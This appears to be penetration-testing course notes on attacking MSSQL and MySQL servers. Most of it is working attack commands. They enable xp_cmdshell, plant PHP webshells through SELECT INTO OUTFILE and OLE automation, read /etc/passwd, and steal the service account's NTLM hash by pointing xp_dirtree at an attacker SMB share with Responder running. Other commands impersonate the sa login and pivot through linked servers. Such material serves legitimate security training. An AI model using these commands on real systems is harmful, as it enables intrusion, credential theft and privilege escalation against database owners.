Enumeration

By default, MSSQL uses ports TCP/1433 and UDP/1434, and MySQL uses TCP/3306 However, when MSSQL operates in a “hidden” mode, it uses the TCP/2433 port. We can use Nmap’s default scripts -sC option to enumerate database services on a target system:

nmap -Pn -sV -sC -p1433 10.10.10.125

Authentication Mechanisms

Authentication TypeDescription
Windows authentication modeThis is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
Mixed modeMixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

Protocol Specific Attacks

Windows

Sqlcmd - Connecting to the SQL Server

sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

: When we authenticate to MSSQL using sqlcmd we can use the parameters -y (SQLCMDMAXVARTYPEWIDTH) and -Y (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.

Linux

sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

Impacket

mssqlclient.py -p 1433 julio@10.129.203.7 

 If we don’t specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.

sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

SQL Default Databases

MySQL default system schemas/databases:

  • mysql - is the system database that contains tables that store information required by the MySQL server
  • information_schema - provides access to database metadata
  • performance_schema - is a feature for monitoring MySQL Server execution at a low level
  • sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema

If we use sqlcmd, we will need to use GO after our query to execute the SQL syntax.

Execute Commands

MSSQL has a extended stored procedures called xp_cmdshell which allow us to execute system commands using SQL. Keep in mind the following about xp_cmdshell:

  • xp_cmdshell is a powerful feature and disabled by default. xp_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
  • The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
  • xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed
xp_cmdshell 'whoami'
GO
-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO
 
-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  
 
-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  
 
-- To update the currently configured value for this feature.  
RECONFIGURE
GO

There are other methods to get command execution, such as adding extended stored proceduresCLR AssembliesSQL Server Agent Jobs, and external scripts. However, besides those methods there are also additional functionalities that can be used like the xp_regwrite command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module.

MySQL supports User Defined Functions which allows us to execute C/C++ code as a function within SQL, there’s one User Defined Function for command execution in this GitHub repository. It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.

Write Local Files

MySQL does not have a stored procedure like xp_cmdshell, but we can achieve command execution if we write to a location in the file system that can execute our commands. For example, suppose MySQL operates on a PHP-based web server or other programming languages like ASP.NET. If we have the appropriate privileges, we can attempt to write a file using SELECT INTO OUTFILE in the webserver directory. Then we can browse to the location where the file is and execute our commands.

MySQL - Write Local File

SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

In MySQL, a global system variable secure_file_priv limits the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function. These operations are permitted only to users who have the FILE privilege.

secure_file_priv may be set as follows:

  • If empty, the variable has no effect, which is not a secure setting.
  • If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
  • If set to NULL, the server disables import and export operations.

MySQL - Secure File Privileges

show variables like "secure_file_priv";
 
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
 
1 row in set (0.005 sec)

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

MSSQL - Enable Ole Automation Procedures

sp_configure 'show advanced options', 1
GO
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

MSSQL - Create a File

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

Read Local Files in MSSQL

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
 GO

MySQL - Read Local Files in MySQL

select LOAD_FILE("/etc/passwd");

Capture MSSQL Service Hash

To make this work, we need first to start Responder or impacket-smbserver and execute one of the following SQL queries:

XP_DIRTREE Hash Stealing

EXEC master..xp_dirtree '\\10.10.110.17\share\'

XP_SUBDIRS Hash Stealing

EXEC master..xp_subdirs '\\10.10.110.17\share\'

XP_SUBDIRS Hash Stealing with Responder

sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support

Impersonate Existing Users with MSSQL

Identify Users that We Can Impersonate

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GO

Verifying our Current User and Role

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
 
-----------
julio                                                                                                                    
 
(1 rows affected)
 
-----------
          0
 
(1 rows affected)

As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user.

Impersonating the SA User

 
EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') GO

We can now execute any command as a sysadmin as the returned value 1 indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT.

It’s recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn’t have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master.

Communicate with Other Databases with MSSQL

MSSQL has a configuration option called linked servers.

SELECT srvname, isremote FROM sysservers

As we can see in the query’s output, we have the name of the server and the column isremote, where 1 means is a remote server, and 0 is a linked server. We can see sysservers Transact-SQL for more information.

we can attempt to identify the user used for the connection and its privileges. The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]

If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).